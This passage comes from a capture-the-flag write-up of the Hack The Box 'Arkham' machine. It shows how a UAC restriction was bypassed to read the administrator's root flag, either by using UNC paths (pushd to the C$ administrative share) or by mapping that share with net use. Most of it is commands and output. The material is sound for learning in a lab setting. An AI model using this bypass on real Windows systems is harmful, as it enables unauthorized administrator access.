      cd \users\administrator\desktop
      [arkham]: PS C:\Users\Batman\Documents>
    
    

So next up we'll use [snowscan's](https://snowscan.io/htb-writeup-arkham/) unintended privesc solution which was to first check that UAC was enabled, which explains why we couldn't get into the Administrator's directory as batman:
    
    
    
      [arkham]: PS C:\Users\Batman\Documents> (Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System).EnableLUA
      (Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System).EnableLUA
      1
    
    

But for some reason, if we use the UNC paths we could get access to the administrator directory, which gets the root flag:
    
    
      C:\Users\Batman\Documents>pushd \\10.10.10.130\c$
    
      Z:\>cd \users\administrator\desktop
    
      Z:\Users\Administrator\Desktop>dir
       Volume in drive Z has no label.
       Volume Serial Number is FA90-3873
    
       Directory of Z:\Users\Administrator\Desktop
    
      02/03/2019  09:32 AM    <****DIR>          .
      02/03/2019  09:32 AM <****DIR>          ..
      02/03/2019  09:32 AM                70 root.txt
                     1 File(s)             70 bytes
                     2 Dir(s)   8,710,045,696 bytes free
    
      Z:\Users\Administrator\Desktop>type root.txt
      type root.txt
      63XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

Another way was to remember that we could mount shares, therefore mapping the C$ volume in G: 
    
    
    
      [arkham]: PS C:\Users\Batman\Documents> net use G: \\10.10.10.130\C$
      net use G: \\10.10.10.130\C$
      The command completed successfully.
    
    
      [arkham]: PS C:\Users\Batman\Documents> fsutil fsinfo drives
      fsutil fsinfo drives
    
      Drives: C:\ D:\ G:\
    
    

And from there simply typing the root flag : 
    
    
    
      [arkham]: PS C:\Users\Batman\Documents> type G:\Users\Administrator\Desktop\root.txt
      type G:\Users\Administrator\Desktop\root.txt
      63XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
    

## **Conclusion**

Here we can see the progress graph :

![](img/40_graph.png)

